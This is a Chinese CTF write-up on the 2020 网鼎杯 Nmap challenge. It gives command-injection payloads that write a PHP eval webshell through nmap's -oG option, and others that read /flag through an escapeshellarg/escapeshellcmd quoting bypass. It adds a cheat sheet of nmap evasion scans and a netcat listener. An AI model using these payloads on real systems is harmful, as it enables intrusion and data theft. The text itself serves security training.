[网鼎杯 2020 朱雀组]Nmap(双解详细分析)

news2024/11/15 11:52:02

目录

Nmap 相关参数

信息收集

思路

方法一

方法二

nmap常见操作


Nmap 相关参数

-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

信息收集

可以对ip进行扫描 

思路

方法一

将一句话木马写入后保存到指定文件,通过文件进行命令执行读取flag

估计这题的后台就是用了一条简单的拼接语句,类似于:"nmap".'$cmd',之类的,闭合符号

payload

'<?php @eval($_POST["a"]);?> -oG coleak.php'

namp 'ip' 闭合后成为nmap ''<?php eval($_POST["pwd"]);?> -oG 1.php''

回显为Hacker...,应该是php被过滤了,我们使用phtml

'<?php @eval($_POST["a"]);?> -oG coleak.phtml'

回显为Hacker...,我们用短标签

' <? echo @eval($_POST["a"]);?> -oG coleak.phtml '

<?=$a?> <?=(表达式)?> 就相当于 <?php echo $a?> <?php echo (表达式)?>

方法二

iL来读取flag,然后输出到指定文件,访问该文件进行读取

读取时会提示搜索内容失败,然后会写出来内容是啥,从而实现任意文件读取。

escapeshell

  • escapeshellarg()

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数,保证其作为参数的安全性。

用转义符转义所有单引号,然后用单引号包裹

123' aa变为'123'\'' aa'

  • escapeshellcmd()

escapeshellcmd - 把字符串中可能欺骗shell命令的字符转义, 用以保证送到system函数或者exec函数的字符串是安全的。

不光这些字符,转义符本身还有落单的引号也会被转义。

'123'\'' aa'变为'123'\\'' aa\'

因为转义符被转义,最后的引号便落单,逃逸了出去。这个时候,被输入的字符串不再被当成单个参数处理(不再有引号包裹), 即逃出了这两个函数。

看看seebug平台上面的具体案例

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

payload

127.0.0.1' -iL /flag -o coleak

注意文件末尾有个逃逸的单引号 

nmap常见操作

常见指令

nmap -v 127.0.0.1
给出了远程机器更详细的信息,显示冗余信息(扫描细节)
nmap -iL nmaptest.txt运行带“iL
 选项的nmap命令来扫描文件中列出的所有IP地址
nmap 192.168.0.* --exclude 192.168.0.100
使用“-exclude”选项来排除某些你不想要扫描的主机
nmap -A 192.168.0.101
启用操作系统和版本检测,脚本扫描和路由跟踪功能
nmap -O 127.0.0.1
使用选项“-O”和“-osscan-guess”也帮助探测操作系统信息
nmap -sA 192.168.0.101
扫描远程主机以探测该主机是否使用了包过滤器或防火墙
nmap -PN 192.168.0.101
扫描主机检测其是否受到数据包过滤软件或防火墙的保护
nmap -sP 192.168.0.*
找出网络中的在线主机
nmap -F 192.168.0.101
快速扫描,仅扫描nmap-services文件中的端口而避开所有其它的端口
nmap -f 192.168.96.4
使用小数据包发送,避免被识别出
nmap -r 192.168.0.101
不会随机的选择端口扫描
nmap -p 80,443 192.168.0.101
使用“-P”选项指定你想要扫描的端口
nmap -sV 192.168.0.101
查找主机服务版本号
nmap -PS 192.168.0.101
使用TCP ACK和TCP Syn方法来扫描远程主机(防火墙会阻断标ICMP包)
nmap -Pn 192.168.96.4
目标机禁用ping,绕过ping扫描
nmap -sn 192.168.96.4
对目标进行ping检测,不进行端口扫描(发送四种报文确定目标是否存活)
nmap -sS 192.168.0.101
执行一次隐蔽的扫描,安全,快
nmap -sT 192.168.0.101
使用TCP Syn扫描最常用的端口,不安全,慢
nmap -sN 192.168.0.101
执行TCP空扫描以骗过防火墙
nmap -sI 僵尸ip 目标ip
使用僵尸机对目标机发送数据包
nmap 192.168.96.4 -oX myscan.xml
对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4
设置扫描速度,一般T4足够
nmap –mtu <size> 192.168.96.4
发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4
发送参杂着假ip的数据包检测
nmap –oG 1.txt –v 192.168.1.1/24
-oG将扫描结果保存为TXT,Ctrl+C中断扫描

nmap ip

nc -lvp 8888

nmap端口状态解析

open : 应用程序在该端口接收 TCP 连接或者 UDP 报文。 

closed :关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听。

filtered :由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙。

unfiltered :未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态。

open | filtered :无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议,FIN, Null 等扫描会引起。

closed|filtered:(关闭或者被过滤的):无法确定端口是关闭的还是被过滤的

nmap 网段/字段(8/16/24)

例如c类网段nmap 192.168.1.0/24

常用参数

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/185140.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【高并发】- 生产级系统搭建 - 3

前言 本章讲解高并发系统动静分离方案设计、热点数据处理、管控等思想。 1. 动静分离方案设计 动静分离实质&#xff0c;将静态页面与动态页面&#xff08;或者静态数据与动态数据&#xff09;解耦分离&#xff0c;用不同系统承载对应流量。这样可以提升整个服务的访问性能和可…

MySql性能优化(五)优化细节

优化细节 当使用数据库列进行查询的时候尽量不要使用表达式&#xff0c;把计算结果放到业务层而不是数据层尽量使用主键索引&#xff0c;而不是其他索引&#xff0c;因此主键索引不会触发回表查询使用前缀索引 有的时候需要索引很长的字符串&#xff0c;这会让索引变的大且慢&…

Ethercat系列(1)COE非周期性数据通信

Ethercat主站通过读写邮箱数据SM通道实现非周期性数据通信。邮箱数据定义邮箱数据单元结构邮箱数据头各字段含义如下表非周期性邮箱数据通信EtherCAT协议中非周期性数据通信称为邮箱数据通信&#xff0c;它可以双向进行---主站到从站和从站到主站。它支持全双工&#xff0c;两个…

存储介质还是存储载体,这不是个问题

在档案领域中&#xff0c;“介质”和“载体”到底有什么区别&#xff1f;能不能混用&#xff1f;这个问题曾经困扰了笔者10几年&#xff0c;直到最近才发觉原来根本不是一个问题。我们先来看两句话&#xff1a; 1、磁盘、光盘、固态硬盘等常见数据存储载体的寿命无法满足电子档…

RabbitMQ快速入门和使用

文章目录1. 基础理论1.1. 同步调用与异步调用1.2. RabbitMQ 安装与运行1.2.1. 常见消息模型2. 基本消息队列的应用2.1. 消息发送流程2.2. 消息接收流程3. SpringAMQP的基础理论与应用(想快速应用看这里)3.1. 基础理论3.2. 【案例一】实现HelloWorld中的基础消息队列功能3.3. 【…

Neo4j数据库模糊查询

1、Neo4j单个查询条件模糊查询1.1使用 ~’.模糊匹配对象.’ 进行表示1.1.1 查询节点MATCH(n:Author) WHERE n.name ~.*梦.* RETURN n1.1.2 查询关系MATCH p({title:锆石U-Pb和Lu-Hf同位素研究内蒙乌努格吐山斑岩型铜钼矿岩浆岩特征})-[r:has_illustration]->(i:Illustration…

Python应用开发——制作bin文件

Python应用开发——制作bin文件 目录Python应用开发——制作bin文件前言1 环境搭建2 代码编写与测试结束语前言 什么是bin&#xff1f; bin是二进制文件&#xff0c;其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件&#xff0c;只是表…

无代码配置态势感知分析应用,预判你的预判

森林发生火势灾情时&#xff0c;应急管理中心快速做出部署&#xff0c;实时监测并分析演变趋势大型交通事故发生&#xff0c;应急指挥中对前端人员、车辆的远程调度线路规划实时监测无人机对电站电厂的运维工作公安警务对嫌疑人、嫌疑车辆等目标的跟踪侦查……以上这些&#xf…

Acwing---基础算法(一)

文章目录 快速排序归并排序整数二分浮点数二分一、快速排序 #include<iostream>using namespace std;const int N 1e6 10;int n; int q[N];void quick_sort(int q[], int l, int r) {//此时区间只有一个数或者没有数不需要排序了if (l > r) return;int x q[l], i…

【QCA】【实例】高通DTS中添加BLSP设备节点的基本配置

文章目录0. env1. 简介2. 需求及资料2.1 需求2.2 资料3. DTS实际配置及简述0. env IPQ601x SPF11.5cs 1. 简介 BLSP(BAM Low-Speed Peripheral) 不同chip有不止一组的BLSP&#xff0c;每个BLSP又有多个端口供使用。 每个端口功能可以复用为&#xff1a;SPI 或者 I2CUART 2. 需求…

计算机网络知识详解之:TCP连接原理详解

网络知识详解之&#xff1a;TCP连接原理详解 文章目录网络知识详解之&#xff1a;TCP连接原理详解TCP连接三次握手一、准备工作二、一次握手三、二次握手四、三次握手为什么TCP客户端最后还要发送一次确认呢&#xff1f;为什么要3次握手?握手中的SYN超时重试TCP协议缺陷四次挥…

HECS 安装mqtt

下载(hecs &#xff0c;centos8的样子&#xff0c;对mosquitto 版本高了安装不了)wget https://mosquitto.org/files/source/mosquitto-1.5.9.tar.gztar -zxvf mosquitto-1.5.9.tar.gz安装前置工具yum install gcc-cyum install cmakeyum install openssl-devel编译cd mosquitt…

Vue项目启动后跳转到制定路由页面

前言 今天把自己的项目布局完成了&#xff0c;但是想在项目启动的时候默认跳转到登录页面。 这其实需要借助路由实现跳转 开始编写之前&#xff0c;大家可以看下我的布局&#xff1a; 安装并使用路由 关于如何安装并使用路由&#xff0c;可以参考&#xff1a;Vue安装并使用路…

LeetCode_单周赛_330

6337. 统计桌面上的不同数字 代码 后面出现的数字都是小于 n 的。 n 1 时&#xff0c;答案是 1。 n > 1时&#xff1a; 第一天&#xff0c;n % (n - 1) 1&#xff0c;n - 1会被加入第二天&#xff0c;(n - 1) % (n - 2) 1&#xff0c;n - 2 被加入 递推&#xff0c;一…

Java 8 Optional 介绍

1. 前言 空指针确实会产生很多问题&#xff0c;我们经常遇到空的引用&#xff0c;然后又想从这个空的引用上去获取其他的值&#xff0c;接着理所当然的碰到了 NullPointException。这是你可能会想&#xff0c;这报错很好处理&#xff0c;然后你看了眼报错行数&#xff0c;对比了…

聚合函数学习

文章目录聚合函数介绍理解类型语法AVG和SUMMIN和MAX函数COUNT函数GROUP BY基本使用使用多个列分组GROUP BY中使用WITH ROLLUPHAVING基本使用WHERE和HAVING的对比SELECT执行顺序查询结构SELECT执行顺序SQL 的执行原理聚合函数介绍 理解 聚合&#xff08;或聚集、分组&#xff…

java集合类-Map

Map-增强的Map集合 Map用于保存具有映射关系的数据&#xff0c;因此Map集合里保存着两组值&#xff0c;一组值用于保存Map里的key&#xff0c;另外一组值用于保存Map里的value&#xff0c;key和value都可以是任何引用类型的数据。Map的key不允许重复&#xff0c;即同一个Map对象…

【Linux】TCP三次握手,四次挥手原理

今天在书中找到了比较详细的解释&#xff0c;记录一下 三次握手 在可以使用TCP链路之前&#xff0c;必须在客户端和主机之间显式建立连接。如上所述&#xff0c;在主动&#xff08;active&#xff09;和被动&#xff08;passive&#xff09;连接的建立方式是有区别的。 内核…

生鲜巨变:每日优鲜、叮咚买菜、盒马“分道扬镳”?

此前&#xff0c;在疫情影响下&#xff0c;人们出门购物频次减少&#xff0c;传统买菜模式也受到了一定的冲击。在此背景下&#xff0c;既能够解决人们买菜难题又能够减少人与人接触的生鲜电商&#xff0c;赢得了众多消费者的青睐。而随着大量用户涌入其中&#xff0c;整个生鲜…

【GD32F427开发板试用】硬件IIC读取SHT40温湿度传感器

本篇文章来自极术社区与兆易创新组织的GD32F427开发板评测活动&#xff0c;更多开发板试用活动请关注极术社区网站。作者&#xff1a;烟花易冷 介绍 很荣幸又能再次的参加技术社区的开发板试用活动&#xff0c;此次参加用的是GD32F427系列的芯片&#xff0c;该芯片相较于GDF31…